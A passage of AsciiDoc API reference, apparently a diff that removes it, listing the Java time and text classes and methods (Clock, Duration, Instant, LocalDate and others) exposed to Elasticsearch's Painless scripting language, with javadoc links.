-* {java11-javadoc}/java.base/java/text/StringCharacterIterator.html#<init>(java.lang.String,int,int,int)[StringCharacterIterator](null, int, int, int)
-* def {java11-javadoc}/java.base/java/text/CharacterIterator.html#clone()[clone]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#current()[current]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#first()[first]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getBeginIndex()[getBeginIndex]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getEndIndex()[getEndIndex]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getIndex()[getIndex]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#last()[last]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#next()[next]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#previous()[previous]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#setIndex(int)[setIndex](int)
-* void {java11-javadoc}/java.base/java/text/StringCharacterIterator.html#setText(java.lang.String)[setText](null)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-time"]
-=== Shared API for package java.time
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-Clock]]
-==== Clock
-* static Clock {java11-javadoc}/java.base/java/time/Clock.html#fixed(java.time.Instant,java.time.ZoneId)[fixed](Instant, ZoneId)
-* static Clock {java11-javadoc}/java.base/java/time/Clock.html#offset(java.time.Clock,java.time.Duration)[offset](Clock, Duration)
-* static Clock {java11-javadoc}/java.base/java/time/Clock.html#tick(java.time.Clock,java.time.Duration)[tick](Clock, Duration)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* ZoneId {java11-javadoc}/java.base/java/time/Clock.html#getZone()[getZone]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* Instant {java11-javadoc}/java.base/java/time/Clock.html#instant()[instant]()
-* long {java11-javadoc}/java.base/java/time/Clock.html#millis()[millis]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DateTimeException]]
-==== DateTimeException
-* {java11-javadoc}/java.base/java/time/DateTimeException.html#<init>(java.lang.String)[DateTimeException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-DayOfWeek]]
-==== DayOfWeek
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#FRIDAY[FRIDAY]
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#MONDAY[MONDAY]
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#SATURDAY[SATURDAY]
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#SUNDAY[SUNDAY]
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#THURSDAY[THURSDAY]
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#TUESDAY[TUESDAY]
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#WEDNESDAY[WEDNESDAY]
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#of(int)[of](int)
-* static DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#valueOf(java.lang.String)[valueOf](null)
-* static DayOfWeek[] {java11-javadoc}/java.base/java/time/DayOfWeek.html#values()[values]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* null {java11-javadoc}/java.base/java/time/DayOfWeek.html#getDisplayName(java.time.format.TextStyle,java.util.Locale)[getDisplayName](TextStyle, Locale)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/DayOfWeek.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#minus(long)[minus](long)
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* DayOfWeek {java11-javadoc}/java.base/java/time/DayOfWeek.html#plus(long)[plus](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Duration]]
-==== Duration
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#ZERO[ZERO]
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#between(java.time.temporal.Temporal,java.time.temporal.Temporal)[between](Temporal, Temporal)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#from(java.time.temporal.TemporalAmount)[from](TemporalAmount)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#of(long,java.time.temporal.TemporalUnit)[of](long, TemporalUnit)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#ofDays(long)[ofDays](long)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#ofHours(long)[ofHours](long)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#ofMillis(long)[ofMillis](long)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#ofMinutes(long)[ofMinutes](long)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#ofNanos(long)[ofNanos](long)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#ofSeconds(long)[ofSeconds](long)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#ofSeconds(long,long)[ofSeconds](long, long)
-* static Duration {java11-javadoc}/java.base/java/time/Duration.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#abs()[abs]()
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#addTo(java.time.temporal.Temporal)[addTo](Temporal)
-* int {java11-javadoc}/java.base/java/time/Duration.html#compareTo(java.time.Duration)[compareTo](Duration)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#dividedBy(long)[dividedBy](long)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#get(java.time.temporal.TemporalUnit)[get](TemporalUnit)
-* int {java11-javadoc}/java.base/java/time/Duration.html#getNano()[getNano]()
-* long {java11-javadoc}/java.base/java/time/Duration.html#getSeconds()[getSeconds]()
-* List {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#getUnits()[getUnits]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/Duration.html#isNegative()[isNegative]()
-* boolean {java11-javadoc}/java.base/java/time/Duration.html#isZero()[isZero]()
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#minus(java.time.Duration)[minus](Duration)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#minusDays(long)[minusDays](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#minusHours(long)[minusHours](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#minusMillis(long)[minusMillis](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#minusMinutes(long)[minusMinutes](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#minusNanos(long)[minusNanos](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#minusSeconds(long)[minusSeconds](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#multipliedBy(long)[multipliedBy](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#negated()[negated]()
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#plus(java.time.Duration)[plus](Duration)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#plusDays(long)[plusDays](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#plusHours(long)[plusHours](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#plusMillis(long)[plusMillis](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#plusMinutes(long)[plusMinutes](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#plusNanos(long)[plusNanos](long)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#plusSeconds(long)[plusSeconds](long)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAmount.html#subtractFrom(java.time.temporal.Temporal)[subtractFrom](Temporal)
-* long {java11-javadoc}/java.base/java/time/Duration.html#toDays()[toDays]()
-* long {java11-javadoc}/java.base/java/time/Duration.html#toHours()[toHours]()
-* long {java11-javadoc}/java.base/java/time/Duration.html#toMillis()[toMillis]()
-* long {java11-javadoc}/java.base/java/time/Duration.html#toMinutes()[toMinutes]()
-* long {java11-javadoc}/java.base/java/time/Duration.html#toNanos()[toNanos]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#withNanos(int)[withNanos](int)
-* Duration {java11-javadoc}/java.base/java/time/Duration.html#withSeconds(long)[withSeconds](long)
-
-
-[[painless-api-reference-shared-Instant]]
-==== Instant
-* static Instant {java11-javadoc}/java.base/java/time/Instant.html#EPOCH[EPOCH]
-* static Instant {java11-javadoc}/java.base/java/time/Instant.html#MAX[MAX]
-* static Instant {java11-javadoc}/java.base/java/time/Instant.html#MIN[MIN]
-* static Instant {java11-javadoc}/java.base/java/time/Instant.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static Instant {java11-javadoc}/java.base/java/time/Instant.html#ofEpochMilli(long)[ofEpochMilli](long)
-* static Instant {java11-javadoc}/java.base/java/time/Instant.html#ofEpochSecond(long)[ofEpochSecond](long)
-* static Instant {java11-javadoc}/java.base/java/time/Instant.html#ofEpochSecond(long,long)[ofEpochSecond](long, long)
-* static Instant {java11-javadoc}/java.base/java/time/Instant.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/Instant.html#atOffset(java.time.ZoneOffset)[atOffset](ZoneOffset)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/Instant.html#atZone(java.time.ZoneId)[atZone](ZoneId)
-* int {java11-javadoc}/java.base/java/time/Instant.html#compareTo(java.time.Instant)[compareTo](Instant)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* long {java11-javadoc}/java.base/java/time/Instant.html#getEpochSecond()[getEpochSecond]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/Instant.html#getNano()[getNano]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/Instant.html#isAfter(java.time.Instant)[isAfter](Instant)
-* boolean {java11-javadoc}/java.base/java/time/Instant.html#isBefore(java.time.Instant)[isBefore](Instant)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#minusMillis(long)[minusMillis](long)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#minusNanos(long)[minusNanos](long)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#minusSeconds(long)[minusSeconds](long)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#plusMillis(long)[plusMillis](long)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#plusNanos(long)[plusNanos](long)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#plusSeconds(long)[plusSeconds](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/Instant.html#toEpochMilli()[toEpochMilli]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#truncatedTo(java.time.temporal.TemporalUnit)[truncatedTo](TemporalUnit)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* Instant {java11-javadoc}/java.base/java/time/Instant.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-
-
-[[painless-api-reference-shared-LocalDate]]
-==== LocalDate
-* static LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#MAX[MAX]
-* static LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#MIN[MIN]
-* static LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#of(int,int,int)[of](int, int, int)
-* static LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#ofEpochDay(long)[ofEpochDay](long)
-* static LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#ofYearDay(int,int)[ofYearDay](int, int)
-* static LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDate.html#atStartOfDay()[atStartOfDay]()
-* ZonedDateTime {java11-javadoc}/java.base/java/time/LocalDate.html#atStartOfDay(java.time.ZoneId)[atStartOfDay](ZoneId)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDate.html#atTime(java.time.LocalTime)[atTime](LocalTime)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDate.html#atTime(int,int)[atTime](int, int)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDate.html#atTime(int,int,int)[atTime](int, int, int)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDate.html#atTime(int,int,int,int)[atTime](int, int, int, int)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#compareTo(java.time.chrono.ChronoLocalDate)[compareTo](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* IsoChronology {java11-javadoc}/java.base/java/time/LocalDate.html#getChronology()[getChronology]()
-* int {java11-javadoc}/java.base/java/time/LocalDate.html#getDayOfMonth()[getDayOfMonth]()
-* DayOfWeek {java11-javadoc}/java.base/java/time/LocalDate.html#getDayOfWeek()[getDayOfWeek]()
-* int {java11-javadoc}/java.base/java/time/LocalDate.html#getDayOfYear()[getDayOfYear]()
-* Era {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#getEra()[getEra]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* Month {java11-javadoc}/java.base/java/time/LocalDate.html#getMonth()[getMonth]()
-* int {java11-javadoc}/java.base/java/time/LocalDate.html#getMonthValue()[getMonthValue]()
-* int {java11-javadoc}/java.base/java/time/LocalDate.html#getYear()[getYear]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isAfter(java.time.chrono.ChronoLocalDate)[isAfter](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isBefore(java.time.chrono.ChronoLocalDate)[isBefore](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isEqual(java.time.chrono.ChronoLocalDate)[isEqual](ChronoLocalDate)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#isLeapYear()[isLeapYear]()
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfMonth()[lengthOfMonth]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#lengthOfYear()[lengthOfYear]()
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#minusDays(long)[minusDays](long)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#minusMonths(long)[minusMonths](long)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#minusWeeks(long)[minusWeeks](long)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#minusYears(long)[minusYears](long)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#plusDays(long)[plusDays](long)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#plusMonths(long)[plusMonths](long)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#plusWeeks(long)[plusWeeks](long)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#plusYears(long)[plusYears](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toEpochDay()[toEpochDay]()
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDate.html#toString()[toString]()
-* Period {java11-javadoc}/java.base/java/time/LocalDate.html#until(java.time.chrono.ChronoLocalDate)[until](ChronoLocalDate)
-* long {java11-javadoc}/java.base/java/time/temporal/Temporal.html#until(java.time.temporal.Temporal,java.time.temporal.TemporalUnit)[until](Temporal, TemporalUnit)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#with(java.time.temporal.TemporalAdjuster)[with](TemporalAdjuster)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#with(java.time.temporal.TemporalField,long)[with](TemporalField, long)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#withDayOfMonth(int)[withDayOfMonth](int)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#withDayOfYear(int)[withDayOfYear](int)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#withMonth(int)[withMonth](int)
-* LocalDate {java11-javadoc}/java.base/java/time/LocalDate.html#withYear(int)[withYear](int)
-
-
-[[painless-api-reference-shared-LocalDateTime]]
-==== LocalDateTime
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#MAX[MAX]
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#MIN[MIN]
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#from(java.time.temporal.TemporalAccessor)[from](TemporalAccessor)
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#of(java.time.LocalDate,java.time.LocalTime)[of](LocalDate, LocalTime)
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#of(int,int,int,int,int)[of](int, int, int, int, int)
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#of(int,int,int,int,int,int)[of](int, int, int, int, int, int)
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#of(int,int,int,int,int,int,int)[of](int, int, int, int, int, int, int)
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#ofEpochSecond(long,int,java.time.ZoneOffset)[ofEpochSecond](long, int, ZoneOffset)
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#ofInstant(java.time.Instant,java.time.ZoneId)[ofInstant](Instant, ZoneId)
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#parse(java.lang.CharSequence)[parse](CharSequence)
-* static LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#parse(java.lang.CharSequence,java.time.format.DateTimeFormatter)[parse](CharSequence, DateTimeFormatter)
-* Temporal {java11-javadoc}/java.base/java/time/temporal/TemporalAdjuster.html#adjustInto(java.time.temporal.Temporal)[adjustInto](Temporal)
-* OffsetDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#atOffset(java.time.ZoneOffset)[atOffset](ZoneOffset)
-* ZonedDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#atZone(java.time.ZoneId)[atZone](ZoneId)
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#compareTo(java.time.chrono.ChronoLocalDateTime)[compareTo](ChronoLocalDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#format(java.time.format.DateTimeFormatter)[format](DateTimeFormatter)
-* int {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#get(java.time.temporal.TemporalField)[get](TemporalField)
-* Chronology {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#getChronology()[getChronology]()
-* int {java11-javadoc}/java.base/java/time/LocalDateTime.html#getDayOfMonth()[getDayOfMonth]()
-* DayOfWeek {java11-javadoc}/java.base/java/time/LocalDateTime.html#getDayOfWeek()[getDayOfWeek]()
-* int {java11-javadoc}/java.base/java/time/LocalDateTime.html#getDayOfYear()[getDayOfYear]()
-* int {java11-javadoc}/java.base/java/time/LocalDateTime.html#getHour()[getHour]()
-* long {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#getLong(java.time.temporal.TemporalField)[getLong](TemporalField)
-* int {java11-javadoc}/java.base/java/time/LocalDateTime.html#getMinute()[getMinute]()
-* Month {java11-javadoc}/java.base/java/time/LocalDateTime.html#getMonth()[getMonth]()
-* int {java11-javadoc}/java.base/java/time/LocalDateTime.html#getMonthValue()[getMonthValue]()
-* int {java11-javadoc}/java.base/java/time/LocalDateTime.html#getNano()[getNano]()
-* int {java11-javadoc}/java.base/java/time/LocalDateTime.html#getSecond()[getSecond]()
-* int {java11-javadoc}/java.base/java/time/LocalDateTime.html#getYear()[getYear]()
-* int {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#hashCode()[hashCode]()
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#isAfter(java.time.chrono.ChronoLocalDateTime)[isAfter](ChronoLocalDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#isBefore(java.time.chrono.ChronoLocalDateTime)[isBefore](ChronoLocalDateTime)
-* boolean {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#isEqual(java.time.chrono.ChronoLocalDateTime)[isEqual](ChronoLocalDateTime)
-* boolean {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#isSupported(java.time.temporal.TemporalField)[isSupported](TemporalField)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minus(java.time.temporal.TemporalAmount)[minus](TemporalAmount)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minus(long,java.time.temporal.TemporalUnit)[minus](long, TemporalUnit)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minusDays(long)[minusDays](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minusHours(long)[minusHours](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minusMinutes(long)[minusMinutes](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minusMonths(long)[minusMonths](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minusNanos(long)[minusNanos](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minusSeconds(long)[minusSeconds](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minusWeeks(long)[minusWeeks](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#minusYears(long)[minusYears](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plus(java.time.temporal.TemporalAmount)[plus](TemporalAmount)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plus(long,java.time.temporal.TemporalUnit)[plus](long, TemporalUnit)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plusDays(long)[plusDays](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plusHours(long)[plusHours](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plusMinutes(long)[plusMinutes](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plusMonths(long)[plusMonths](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plusNanos(long)[plusNanos](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plusSeconds(long)[plusSeconds](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plusWeeks(long)[plusWeeks](long)
-* LocalDateTime {java11-javadoc}/java.base/java/time/LocalDateTime.html#plusYears(long)[plusYears](long)
-* def {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#query(java.time.temporal.TemporalQuery)[query](TemporalQuery)
-* ValueRange {java11-javadoc}/java.base/java/time/temporal/TemporalAccessor.html#range(java.time.temporal.TemporalField)[range](TemporalField)
-* long {java11-javadoc}/java.base/java/time/chrono/ChronoLocalDateTime.html#toEpochSecond(java.time.ZoneOffset)[toEpochSecond](ZoneOffset)
